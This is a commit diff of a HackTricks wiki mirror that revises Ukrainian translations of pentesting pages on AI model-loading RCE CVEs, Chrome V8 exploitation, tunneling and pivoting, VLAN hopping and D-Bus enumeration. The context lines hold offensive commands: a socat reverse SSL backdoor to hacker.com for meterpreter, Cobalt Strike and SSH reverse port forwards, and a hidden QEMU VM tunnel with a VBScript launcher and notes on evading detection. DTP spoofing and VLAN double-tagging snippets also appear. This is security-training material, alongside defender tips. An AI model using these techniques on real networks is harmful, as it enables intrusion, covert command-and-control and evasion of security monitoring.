mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/AI/AI-Models-RCE.md', 'src/binary-exploitation/chrome-e
This commit is contained in:
parent
d705d09d2b
commit
a430fcd6e5
@ -14,8 +14,8 @@
|
||||
| PyTorch **TorchServe** | *ShellTorch* – **CVE-2023-43654**, **CVE-2022-1471** | SSRF + завантаження шкідливої моделі викликає виконання коду; десеріалізація Java RCE в API управління | |
|
||||
| **TensorFlow/Keras** | **CVE-2021-37678** (небезпечний YAML) <br> **CVE-2024-3660** (Keras Lambda) | Завантаження моделі з YAML використовує `yaml.unsafe_load` (виконання коду) <br> Завантаження моделі з **Lambda** шаром виконує довільний Python код | |
|
||||
| TensorFlow (TFLite) | **CVE-2022-23559** (парсинг TFLite) | Сформована модель `.tflite` викликає переповнення цілого числа → пошкодження купи (потенційний RCE) | |
|
||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Завантаження моделі через `joblib.load` виконує pickle з payload `__reduce__` зловмисника | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (небезпечний `np.load`) *суперечка* | `numpy.load` за замовчуванням дозволяє завантаження об'єктних масивів – шкідливий `.npy/.npz` викликає виконання коду | |
|
||||
| **Scikit-learn** (Python) | **CVE-2020-13092** (joblib/pickle) | Завантаження моделі через `joblib.load` виконує pickle з навантаженням `__reduce__` зловмисника | |
|
||||
| **NumPy** (Python) | **CVE-2019-6446** (небезпечний `np.load`) *суперечить* | `numpy.load` за замовчуванням дозволяє завантаження об'єктних масивів – шкідливий `.npy/.npz` викликає виконання коду | |
|
||||
| **ONNX / ONNX Runtime** | **CVE-2022-25882** (перехід директорії) <br> **CVE-2024-5187** (перехід tar) | Зовнішній шлях ваг моделі ONNX може вийти за межі директорії (читання довільних файлів) <br> Шкідлива модель ONNX tar може перезаписати довільні файли (призводячи до RCE) | |
|
||||
| ONNX Runtime (ризик дизайну) | *(Немає CVE)* Користувацькі операції ONNX / контрольний потік | Модель з користувацьким оператором вимагає завантаження рідного коду зловмисника; складні графи моделей зловживають логікою для виконання непередбачених обчислень | |
|
||||
| **NVIDIA Triton Server** | **CVE-2023-31036** (перехід шляху) | Використання API завантаження моделі з увімкненим `--model-control` дозволяє відносний перехід шляху для запису файлів (наприклад, перезапис `.bashrc` для RCE) | |
|
||||
@ -94,7 +94,7 @@ deny all; # block direct Internet access
|
||||
allow 10.0.0.0/8; # only internal CI network can call it
|
||||
}
|
||||
```
|
||||
## Приклад – створення шкідливого PyTorch моделі
|
||||
## Приклад – створення шкідливого моделі PyTorch
|
||||
|
||||
- Створіть модель:
|
||||
```python
|
||||
|
||||
@ -30,10 +30,10 @@
|
||||
Шарована оборона в глибині:
|
||||
|
||||
* **V8 пісочниця** (Isolate): дозволи пам'яті обмежені, щоб запобігти довільному читанню/запису з JITed JS / Wasm.
|
||||
* **Розділення Renderer ↔ Browser** забезпечується через **Mojo/IPC** передачу повідомлень; рендерер не має *жодного* доступу до нативної FS/мережі.
|
||||
* **Розділення Renderer ↔ Browser** забезпечується через **Mojo/IPC** обмін повідомленнями; рендерер не має *жодного* доступу до нативної FS/мережі.
|
||||
* **OS пісочниці** додатково обмежують кожен процес (Рівні цілісності Windows / `seccomp-bpf` / профілі пісочниці macOS).
|
||||
|
||||
Таким чином, *віддаленому* атакуючому потрібні **три** послідовні примітиви:
|
||||
Отже, *віддаленому* атакуючому потрібні **три** послідовні примітиви:
|
||||
|
||||
1. Пошкодження пам'яті всередині V8, щоб отримати **довільний RW всередині купи V8**.
|
||||
2. Другий баг, що дозволяє атакуючому **втекти з пісочниці V8 до повної пам'яті рендерера**.
|
||||
@ -65,7 +65,7 @@ end
|
||||
end)
|
||||
(export "f" (func $f)))
|
||||
```
|
||||
Оптимізація тригера та розпилення об'єктів з JS:
|
||||
Оптимізація тригера та спрей-об'єкти з JS:
|
||||
```js
|
||||
const wasmMod = new WebAssembly.Module(bytes);
|
||||
const wasmInst = new WebAssembly.Instance(wasmMod);
|
||||
@ -88,7 +88,7 @@ let addrVict = addrOf(victim);
|
||||
|
||||
Перезаписування 2 × 64-бітних полів об'єкта `Tuple2` дозволяє **читати/записувати на будь-яку адресу всередині процесу Renderer**, ефективно обходячи пісочницю V8.
|
||||
|
||||
Ключові кроки в експлуатації:
|
||||
Ключові кроки в експлойті:
|
||||
1. Перевести функцію в стан **Tier-Up**, чергуючи код turbofan/baseline.
|
||||
2. Викликати tier-up, зберігаючи посилання на стеку (`Function.prototype.apply`).
|
||||
3. Використати Stage-1 AAR/AAW для знаходження та пошкодження сусіднього `Tuple2`.
|
||||
@ -124,7 +124,7 @@ mime_type: "application/x-msdownload"
|
||||
}
|
||||
});
|
||||
```
|
||||
Необхідно жодного додаткового пошкодження пам'яті – **логічна помилка** надає нам можливість виконання файлів з привілеями користувача.
|
||||
Необхідно жодного додаткового пошкодження пам'яті – **логічна помилка** надає нам можливість виконання довільних файлів з привілеями користувача.
|
||||
|
||||
---
|
||||
|
||||
@ -166,5 +166,5 @@ chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-nativ
|
||||
|
||||
## Посилання
|
||||
* [101 Chrome Exploitation — Part 0 (Preface)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/)
|
||||
* [Chromium security architecture](https://chromium.org/developers/design-documents/security)
|
||||
* [Архітектура безпеки Chromium](https://chromium.org/developers/design-documents/security)
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
@ -55,7 +55,7 @@ sudo ssh -L 631:<ip_victim>:631 -N -f -l <username> <ip_compromised>
|
||||
```bash
|
||||
ssh -f -N -D <attacker_port> <username>@<ip_compromised> #All sent to local port will exit through the compromised server (use as proxy)
|
||||
```
|
||||
### Зворотне Портове Перенаправлення
|
||||
### Зворотне перенаправлення портів
|
||||
|
||||
Це корисно для отримання зворотних шелів з внутрішніх хостів через DMZ до вашого хоста:
|
||||
```bash
|
||||
@ -89,7 +89,7 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> **Безпека – Атака Terrapin (CVE-2023-48795)**
|
||||
> Атака з пониженням Terrapin 2023 року може дозволити зловмиснику в середньому положенні підробити ранній SSH handshake і впровадити дані в **будь-який перенаправлений канал** ( `-L`, `-R`, `-D` ). Переконайтеся, що як клієнт, так і сервер оновлені ( **OpenSSH ≥ 9.6/LibreSSH 6.7** ) або явно вимкніть вразливі алгоритми `chacha20-poly1305@openssh.com` та `*-etm@openssh.com` у `sshd_config`/`ssh_config` перед тим, як покладатися на SSH тунелі.
|
||||
> Атака з пониженням Terrapin 2023 року може дозволити зловмиснику в середньому положенні втручатися в ранній SSH-рукопожаття та впроваджувати дані в **будь-який перенаправлений канал** ( `-L`, `-R`, `-D` ). Переконайтеся, що як клієнт, так і сервер оновлені (**OpenSSH ≥ 9.6/LibreSSH 6.7**) або явно вимкніть вразливі алгоритми `chacha20-poly1305@openssh.com` та `*-etm@openssh.com` у `sshd_config`/`ssh_config` перед тим, як покладатися на SSH-тунелі.
|
||||
|
||||
## SSHUTTLE
|
||||
|
||||
@ -149,18 +149,18 @@ proxychains nmap -n -Pn -sT -p445,3389,5985 10.10.17.25
|
||||
### rPort2Port
|
||||
|
||||
> [!WARNING]
|
||||
> У цьому випадку **порт відкритий на хості-мітці**, а не на сервері команди, і трафік надсилається на сервер команди, а звідти на вказаний хост:порт
|
||||
> У цьому випадку **порт відкритий на хості маяка**, а не на сервері команди, і трафік надсилається на сервер команди, а звідти на вказаний хост:порт
|
||||
```bash
|
||||
rportfwd [bind port] [forward host] [forward port]
|
||||
rportfwd stop [bind port]
|
||||
```
|
||||
Зверніть увагу:
|
||||
Щоб звернути увагу:
|
||||
|
||||
- Зворотний портовий переказ Beacon призначений для **тунелювання трафіку до Team Server, а не для пересилання між окремими машинами**.
|
||||
- Зворотний портовий переадресація Beacon призначена для **тунелювання трафіку до Team Server, а не для пересилання між окремими машинами**.
|
||||
- Трафік **тунелюється в межах C2 трафіку Beacon**, включаючи P2P посилання.
|
||||
- **Привілеї адміністратора не потрібні** для створення зворотних портових переказів на високих портах.
|
||||
- **Привілеї адміністратора не потрібні** для створення зворотних портових переадресацій на високих портах.
|
||||
|
||||
### rPort2Port локально
|
||||
### rPort2Port локальний
|
||||
|
||||
> [!WARNING]
|
||||
> У цьому випадку **порт відкривається на хості beacon**, а не на Team Server, і **трафік надсилається до клієнта Cobalt Strike** (не до Team Server) і звідти до вказаного хосту:порту.
|
||||
@ -241,7 +241,7 @@ interface_add_route --name "ligolo" --route 240.0.0.1/32
|
||||
|
||||
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
|
||||
|
||||
Зворотний тунель. Тунель починається від жертви.\
|
||||
Зворотний тунель. Тунель запускається з жертви.\
|
||||
Створюється socks4 проксі на 127.0.0.1:1080
|
||||
```bash
|
||||
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
|
||||
@ -290,13 +290,15 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
|
||||
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
||||
#Execute the meterpreter
|
||||
```
|
||||
Ви можете обійти **неавторизований проксі**, виконавши цю команду замість останньої в консолі жертви:
|
||||
Ви можете обійти **неавторизований проксі**, виконавши цей рядок замість останнього в консолі жертви:
|
||||
```bash
|
||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||
```
|
||||
[https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/](https://funoverip.net/2011/01/reverse-ssl-backdoor-with-socat-and-metasploit/)
|
||||
|
||||
### SSL Socat Tunnel
|
||||
|
||||
**/bin/sh console**
|
||||
**/bin/sh консоль**
|
||||
|
||||
Створіть сертифікати з обох сторін: Клієнт і Сервер
|
||||
```bash
|
||||
@ -324,7 +326,7 @@ attacker> ssh localhost -p 2222 -l www-data -i vulnerable #Connects to the ssh o
|
||||
|
||||
Це як консольна версія PuTTY (опції дуже схожі на клієнт ssh).
|
||||
|
||||
Оскільки цей бінар буде виконуватись на жертві і є клієнтом ssh, нам потрібно відкрити наш ssh-сервіс і порт, щоб ми могли отримати зворотне з'єднання. Потім, щоб перенаправити лише локально доступний порт на порт у нашій машині:
|
||||
Оскільки цей бінар буде виконуватись на жертві і є клієнтом ssh, нам потрібно відкрити наш сервіс ssh і порт, щоб ми могли отримати зворотне з'єднання. Потім, щоб перенаправити лише локально доступний порт на порт у нашій машині:
|
||||
```bash
|
||||
echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
@ -348,7 +350,7 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
||||
Вам потрібно мати **доступ до RDP через систему**.\
|
||||
Завантажте:
|
||||
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Цей інструмент використовує `Dynamic Virtual Channels` (`DVC`) з функції Remote Desktop Service Windows. DVC відповідає за **тунелювання пакетів через RDP з'єднання**.
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Цей інструмент використовує `Dynamic Virtual Channels` (`DVC`) з функції Remote Desktop Service Windows. DVC відповідає за **тунелювання пакетів через RDP-з'єднання**.
|
||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
На вашому клієнтському комп'ютері завантажте **`SocksOverRDP-Plugin.dll`** ось так:
|
||||
@ -371,10 +373,10 @@ netstat -antb | findstr 1080
|
||||
## Проксування Windows GUI додатків
|
||||
|
||||
Ви можете налаштувати Windows GUI додатки для роботи через проксі, використовуючи [**Proxifier**](https://www.proxifier.com/).\
|
||||
У **Профіль -> Проксі-сервери** додайте IP-адресу та порт SOCKS-сервера.\
|
||||
У **Профіль -> Правила проксування** додайте назву програми, яку потрібно проксувати, та з'єднання з IP-адресами, які ви хочете проксувати.
|
||||
У **Profile -> Proxy Servers** додайте IP-адресу та порт SOCKS сервера.\
|
||||
У **Profile -> Proxification Rules** додайте назву програми для проксування та з'єднання з IP-адресами, які ви хочете проксувати.
|
||||
|
||||
## Обхід проксі NTLM
|
||||
## Обхід NTLM проксі
|
||||
|
||||
Раніше згадуваний інструмент: **Rpivot**\
|
||||
**OpenVPN** також може обійти це, встановивши ці параметри у файлі конфігурації:
|
||||
@ -385,7 +387,7 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||
|
||||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
Він аутентифікується проти проксі-сервера та прив'язує порт локально, який перенаправляється на зовнішній сервіс, який ви вказуєте. Потім ви можете використовувати інструмент на ваш вибір через цей порт.\
|
||||
Він аутентифікується проти проксі і прив'язує порт локально, який перенаправляється на зовнішній сервіс, який ви вказуєте. Потім ви можете використовувати інструмент на ваш вибір через цей порт.\
|
||||
Наприклад, перенаправити порт 443
|
||||
```
|
||||
Username Alice
|
||||
@ -432,7 +434,7 @@ victim> ./dnscat2 --dns host=10.10.10.10,port=5353
|
||||
```
|
||||
#### **У PowerShell**
|
||||
|
||||
Ви можете використовувати [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) для запуску клієнта dnscat2 у PowerShell:
|
||||
Ви можете використовувати [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) для запуску клієнта dnscat2 у powershell:
|
||||
```
|
||||
Import-Module .\dnscat2.ps1
|
||||
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
|
||||
@ -444,7 +446,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
|
||||
```
|
||||
#### Зміна DNS у proxychains
|
||||
|
||||
Proxychains перехоплює виклик `gethostbyname` libc і тунелює tcp DNS запит через socks проксі. За **замовчуванням** DNS сервер, який використовує proxychains, є **4.2.2.2** (жорстко закодований). Щоб змінити його, відредагуйте файл: _/usr/lib/proxychains3/proxyresolv_ і змініть IP. Якщо ви в **середовищі Windows**, ви можете встановити IP **контролера домену**.
|
||||
Proxychains перехоплює виклик `gethostbyname` libc і тунелює tcp DNS запит через socks проксі. За **замовчуванням** DNS сервер, який використовує proxychains, це **4.2.2.2** (жорстко закодований). Щоб змінити його, відредагуйте файл: _/usr/lib/proxychains3/proxyresolv_ і змініть IP. Якщо ви в **середовищі Windows**, ви можете встановити IP **контролера домену**.
|
||||
|
||||
## Тунелі в Go
|
||||
|
||||
@ -457,7 +459,7 @@ Proxychains перехоплює виклик `gethostbyname` libc і тунел
|
||||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
||||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
||||
|
||||
Для створення tun адаптерів і тунелювання даних між ними за допомогою ICMP echo запитів потрібен root доступ в обох системах.
|
||||
Root потрібен в обох системах для створення tun адаптерів і тунелювання даних між ними за допомогою ICMP echo запитів.
|
||||
```bash
|
||||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
||||
./hans -f -c <server_ip> -p P@ssw0rd -v
|
||||
@ -576,7 +578,7 @@ cloudflared tunnel run mytunnel
|
||||
|
||||
## FRP (Швидкий зворотний проксі)
|
||||
|
||||
[`frp`](https://github.com/fatedier/frp) є активно підтримуваним зворотним проксі на Go, який підтримує **TCP, UDP, HTTP/S, SOCKS та P2P NAT-пробивання**. Починаючи з **v0.53.0 (травень 2024)**, він може діяти як **SSH Tunnel Gateway**, тому цільовий хост може створити зворотний тунель, використовуючи лише стандартний клієнт OpenSSH – без додаткового бінарного файлу.
|
||||
[`frp`](https://github.com/fatedier/frp) є активно підтримуваним зворотним проксі на Go, який підтримує **TCP, UDP, HTTP/S, SOCKS та P2P NAT-hole-punching**. Починаючи з **v0.53.0 (травень 2024)**, він може діяти як **SSH Tunnel Gateway**, тому цільовий хост може створити зворотний тунель, використовуючи лише стандартний клієнт OpenSSH – без додаткового бінарного файлу.
|
||||
|
||||
### Класичний зворотний TCP тунель
|
||||
```bash
|
||||
@ -597,7 +599,7 @@ localIP = "127.0.0.1"
|
||||
localPort = 3389
|
||||
remotePort = 5000
|
||||
```
|
||||
### Використання нового SSH шлюзу (без бінарного frpc)
|
||||
### Використання нового SSH шлюзу (без frpc бінарного файлу)
|
||||
```bash
|
||||
# On frps (attacker)
|
||||
sshTunnelGateway.bindPort = 2200 # add to frps.toml
|
||||
@ -606,7 +608,7 @@ sshTunnelGateway.bindPort = 2200 # add to frps.toml
|
||||
# On victim (OpenSSH client only)
|
||||
ssh -R :80:127.0.0.1:8080 v0@attacker_ip -p 2200 tcp --proxy_name web --remote_port 9000
|
||||
```
|
||||
Вищезазначена команда публікує порт жертви **8080** як **attacker_ip:9000** без розгортання будь-яких додаткових інструментів – ідеально для pivoting, що використовує ресурси.
|
||||
Вищезазначена команда публікує порт жертви **8080** як **attacker_ip:9000** без розгортання будь-яких додаткових інструментів – ідеально для pivoting, що використовує ресурси на місці.
|
||||
|
||||
## Секретні тунелі на базі VM з QEMU
|
||||
|
||||
@ -624,7 +626,7 @@ qemu-system-x86_64.exe ^
|
||||
```
|
||||
• Команда вище запускає образ **Tiny Core Linux** (`tc.qcow2`) в оперативній пам'яті.
|
||||
• Порт **2222/tcp** на хості Windows прозоро перенаправляється на **22/tcp** всередині гостьової системи.
|
||||
• З точки зору атакуючого, ціль просто відкриває порт 2222; будь-які пакети, які досягають його, обробляються сервером SSH, що працює у віртуальній машині.
|
||||
• З точки зору атакуючого, ціль просто відкриває порт 2222; будь-які пакети, які досягають його, обробляються SSH-сервером, що працює у віртуальній машині.
|
||||
|
||||
### Запуск непомітно через VBScript
|
||||
```vb
|
||||
@ -634,7 +636,7 @@ o.Run "stl.exe -m 256M -drive file=tc.qcow2,if=ide -netdev user,id=n0,hostfwd=tc
|
||||
```
|
||||
Запуск скрипта з `cscript.exe //B update.vbs` тримає вікно прихованим.
|
||||
|
||||
### Угостева стійкість
|
||||
### Утримання в гості
|
||||
|
||||
Оскільки Tiny Core не має стану, зловмисники зазвичай:
|
||||
|
||||
@ -646,17 +648,17 @@ while ! ping -c1 45.77.4.101; do sleep 2; done
|
||||
/opt/123.out
|
||||
```
|
||||
|
||||
3. Додають `home/tc` та `opt` до `/opt/filetool.lst`, щоб payload був упакований у `mydata.tgz` під час вимкнення.
|
||||
3. Додають `home/tc` та `opt` до `/opt/filetool.lst`, щоб payload був упакований у `mydata.tgz` під час завершення роботи.
|
||||
|
||||
### Чому це уникає виявлення
|
||||
|
||||
• Лише два непідписаних виконуваних файли (`qemu-system-*.exe`) торкаються диска; драйвери або служби не встановлюються.
|
||||
• Продукти безпеки на хості бачать **безневинний зворотний трафік** (фактичний C2 завершується всередині VM).
|
||||
• Сканери пам'яті ніколи не аналізують простір зловмисного процесу, оскільки він живе в іншій ОС.
|
||||
• Продукти безпеки на хості бачать **безпечний зворотний трафік** (фактичний C2 завершується всередині VM).
|
||||
• Сканери пам'яті ніколи не аналізують простір процесу зловмисника, оскільки він живе в іншій ОС.
|
||||
|
||||
### Поради для захисників
|
||||
|
||||
• Сповіщати про **неочікувані бінарні файли QEMU/VirtualBox/KVM** в шляхах, доступних для запису користувачем.
|
||||
• Сповіщати про **неочікувані бінарні файли QEMU/VirtualBox/KVM** у шляхах, доступних для запису користувачем.
|
||||
• Блокувати вихідні з'єднання, які походять від `qemu-system*.exe`.
|
||||
• Шукати рідкісні порти прослуховування (2222, 10022, …), які прив'язуються відразу після запуску QEMU.
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
Якщо є прямий доступ до комутатора, сегментацію VLAN можна обійти. Це передбачає переналаштування підключеного порту в режим trunk, створення віртуальних інтерфейсів для цільових VLAN та налаштування IP-адрес, або динамічно (DHCP), або статично, залежно від сценарію (**для отримання додаткової інформації перегляньте [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
|
||||
|
||||
Спочатку необхідно ідентифікувати конкретний підключений порт. Це зазвичай можна зробити через повідомлення CDP або шляхом пошуку порту за допомогою маски **include**.
|
||||
Спочатку необхідно ідентифікувати конкретний підключений порт. Це зазвичай можна зробити за допомогою повідомлень CDP або шляхом пошуку порту через маску **include**.
|
||||
|
||||
**Якщо CDP не працює, ідентифікацію порту можна спробувати здійснити, шукаючи MAC-адресу**:
|
||||
```
|
||||
@ -52,7 +52,7 @@ sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
|
||||
|
||||
## Інші техніки VLAN-Hopping (без привілейованого CLI комутатора)
|
||||
|
||||
Попередній метод передбачає автентифікований доступ до консолі або Telnet/SSH до комутатора. У реальних ситуаціях зловмисник зазвичай підключений до **звичайного порту доступу**. Наступні трюки рівня 2 часто дозволяють вам переміщатися вбік, не входячи в ОС комутатора:
|
||||
Попередній метод передбачає аутентифікований доступ до консолі або Telnet/SSH до комутатора. У реальних ситуаціях зловмисник зазвичай підключений до **звичайного порту доступу**. Наступні трюки на рівні 2 часто дозволяють вам переміщатися вбік, не входячи в ОС комутатора:
|
||||
|
||||
### 1. Switch-Spoofing з Dynamic Trunking Protocol (DTP)
|
||||
|
||||
@ -67,7 +67,7 @@ $ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling
|
||||
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
|
||||
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
|
||||
```
|
||||
Як тільки порт переключається на trunk, ви можете створити підінтерфейси 802.1Q і здійснити поворот точно так, як показано в попередньому розділі. Сучасні ядра Linux більше не вимагають *vconfig*; натомість використовуйте *ip link*:
|
||||
Як тільки порт переключається на trunk, ви можете створити підінтерфейси 802.1Q і здійснити піворот, як показано в попередньому розділі. Сучасні ядра Linux більше не вимагають *vconfig*; натомість використовуйте *ip link*:
|
||||
```bash
|
||||
sudo modprobe 8021q
|
||||
sudo ip link add link eth0 name eth0.30 type vlan id 30
|
||||
@ -89,7 +89,7 @@ python3 DoubleTagging.py \
|
||||
1. Зовнішній тег (1) видаляється першим комутатором, оскільки він відповідає рідному VLAN.
|
||||
2. Внутрішній тег (20) тепер відкритий; кадр пересилається на trunk до VLAN 20.
|
||||
|
||||
Ця техніка все ще працює у 2025 році на мережах, які залишають рідний VLAN за замовчуванням і приймають не теговані кадри.
|
||||
Ця техніка все ще працює в 2025 році на мережах, які залишають рідний VLAN за замовчуванням і приймають не теговані кадри.
|
||||
|
||||
### 3. QinQ (802.1ad) Стекування
|
||||
|
||||
@ -107,8 +107,8 @@ sendp(frame, iface="eth0")
|
||||
## Рекомендації щодо захисту
|
||||
|
||||
1. Вимкніть DTP на всіх портах, що виходять до користувачів: `switchport mode access` + `switchport nonegotiate`.
|
||||
2. Змініть рідний VLAN на кожному trunk на **невикористовуваний, чорний VLAN** і позначте його: `vlan dot1q tag native`.
|
||||
3. Виріжте непотрібні VLAN на trunk: `switchport trunk allowed vlan 10,20`.
|
||||
2. Змініть рідний VLAN на кожному транку на **невикористовуваний, чорний дірковий VLAN** і позначте його: `vlan dot1q tag native`.
|
||||
3. Виріжте непотрібні VLAN на транках: `switchport trunk allowed vlan 10,20`.
|
||||
4. Застосуйте безпеку портів, DHCP snooping та динамічну перевірку ARP, щоб обмежити діяльність зловмисного рівня 2.
|
||||
5. Віддавайте перевагу приватним VLAN або сегментації L3 замість того, щоб покладатися лише на розділення 802.1Q.
|
||||
|
||||
|
||||
@ -4,9 +4,9 @@
|
||||
|
||||
## **GUI enumeration**
|
||||
|
||||
D-Bus використовується як посередник міжпроцесорних комунікацій (IPC) в середовищах робочого столу Ubuntu. В Ubuntu спостерігається одночасна робота кількох шини повідомлень: системна шина, яка в основному використовується **привілейованими службами для відкриття служб, що мають відношення до всієї системи**, та сесійна шина для кожного увійшовшого користувача, яка відкриває служби, що мають відношення лише до цього конкретного користувача. Основна увага тут зосереджена на системній шині через її асоціацію з службами, що працюють з вищими привілеями (наприклад, root), оскільки наша мета - підвищити привілеї. Зазначається, що архітектура D-Bus використовує 'маршрутизатор' для кожної сесійної шини, який відповідає за перенаправлення повідомлень клієнтів до відповідних служб на основі адреси, зазначеної клієнтами для служби, з якою вони бажають спілкуватися.
|
||||
D-Bus використовується як посередник для міжпроцесорних комунікацій (IPC) в середовищах робочого столу Ubuntu. В Ubuntu спостерігається одночасна робота кількох шини повідомлень: системна шина, яка в основному використовується **привілейованими службами для відкриття служб, що мають відношення до всієї системи**, та сесійна шина для кожного увійшовшого користувача, яка відкриває служби, що мають відношення лише до цього конкретного користувача. Основна увага тут зосереджена на системній шині через її зв'язок зі службами, що працюють з вищими привілеями (наприклад, root), оскільки наша мета - підвищити привілеї. Зазначається, що архітектура D-Bus використовує 'маршрутизатор' для кожної сесійної шини, який відповідає за перенаправлення повідомлень клієнтів до відповідних служб на основі адреси, вказаної клієнтами для служби, з якою вони бажають спілкуватися.
|
||||
|
||||
Служби на D-Bus визначаються **об'єктами** та **інтерфейсами**, які вони відкривають. Об'єкти можна порівняти з екземплярами класів у стандартних мовах ООП, при цьому кожен екземпляр унікально ідентифікується **шляхом об'єкта**. Цей шлях, подібно до шляху файлової системи, унікально ідентифікує кожен об'єкт, відкритий службою. Ключовим інтерфейсом для дослідження є **org.freedesktop.DBus.Introspectable** інтерфейс, що містить єдиний метод, Introspect. Цей метод повертає XML-представлення підтримуваних методів, сигналів та властивостей об'єкта, зосереджуючись тут на методах, пропускаючи властивості та сигнали.
|
||||
Служби на D-Bus визначаються **об'єктами** та **інтерфейсами**, які вони відкривають. Об'єкти можна порівняти з екземплярами класів у стандартних мовах ООП, при цьому кожен екземпляр унікально ідентифікується **шляхом об'єкта**. Цей шлях, подібно до шляху файлової системи, унікально ідентифікує кожен об'єкт, відкритий службою. Ключовим інтерфейсом для дослідження є **org.freedesktop.DBus.Introspectable**, який має єдиний метод, Introspect. Цей метод повертає XML-представлення підтримуваних методів, сигналів та властивостей об'єкта, зосереджуючись тут на методах, пропускаючи властивості та сигнали.
|
||||
|
||||
Для зв'язку з інтерфейсом D-Bus було використано два інструменти: CLI-інструмент під назвою **gdbus** для легкого виклику методів, відкритих D-Bus у скриптах, та [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), графічний інструмент на основі Python, призначений для перерахунку служб, доступних на кожній шині, та для відображення об'єктів, що містяться в кожній службі.
|
||||
```bash
|
||||
@ -16,15 +16,15 @@ sudo apt-get install d-feet
|
||||
|
||||

|
||||
|
||||
У першому зображенні показані сервіси, зареєстровані в системній шині D-Bus, з **org.debin.apt**, зокрема, виділеним після вибору кнопки System Bus. D-Feet запитує цей сервіс на предмет об'єктів, відображаючи інтерфейси, методи, властивості та сигнали для вибраних об'єктів, що видно на другому зображенні. Також детально описується підпис кожного методу.
|
||||
У першому зображенні показані сервіси, зареєстровані в системній шині D-Bus, з **org.debin.apt**, спеціально виділеним після вибору кнопки System Bus. D-Feet запитує цей сервіс на предмет об'єктів, відображаючи інтерфейси, методи, властивості та сигнали для вибраних об'єктів, що видно на другому зображенні. Також детально описується підпис кожного методу.
|
||||
|
||||
Помітною особливістю є відображення **ідентифікатора процесу (pid)** та **командного рядка** сервісу, що корисно для підтвердження, чи працює сервіс з підвищеними привілеями, що важливо для дослідження.
|
||||
|
||||
**D-Feet також дозволяє виклик методів**: користувачі можуть вводити вирази Python як параметри, які D-Feet перетворює на типи D-Bus перед передачею сервісу.
|
||||
|
||||
Однак слід зазначити, що **деякі методи вимагають аутентифікації** перед тим, як дозволити їх виклик. Ми проігноруємо ці методи, оскільки наша мета - підвищити наші привілеї без облікових даних з самого початку.
|
||||
Однак зверніть увагу, що **деякі методи вимагають аутентифікації** перед тим, як дозволити їх виклик. Ми проігноруємо ці методи, оскільки наша мета - підвищити наші привілеї без облікових даних з самого початку.
|
||||
|
||||
Також зверніть увагу, що деякі сервіси запитують інший сервіс D-Bus під назвою org.freedeskto.PolicyKit1, чи повинен користувач мати право виконувати певні дії.
|
||||
Також зверніть увагу, що деякі сервіси запитують інший сервіс D-Bus під назвою org.freedeskto.PolicyKit1, чи дозволено користувачу виконувати певні дії.
|
||||
|
||||
## **Cmd line Enumeration**
|
||||
|
||||
@ -56,7 +56,7 @@ org.freedesktop.locale1 - - - (act
|
||||
```
|
||||
#### З'єднання
|
||||
|
||||
[З Wikipedia:](https://en.wikipedia.org/wiki/D-Bus) Коли процес встановлює з'єднання з шиною, шина призначає з'єднанню спеціальну назву шини, звану _унікальною назвою з'єднання_. Назви шин цього типу є незмінними — гарантовано, що вони не зміняться, поки з'єднання існує — і, що більш важливо, їх не можна повторно використовувати протягом життєвого циклу шини. Це означає, що жодне інше з'єднання з цією шиною ніколи не отримає таку унікальну назву з'єднання, навіть якщо той самий процес закриває з'єднання з шиною і створює нове. Унікальні назви з'єднань легко впізнавані, оскільки вони починаються з — в іншому випадку забороненого — символу двокрапки.
|
||||
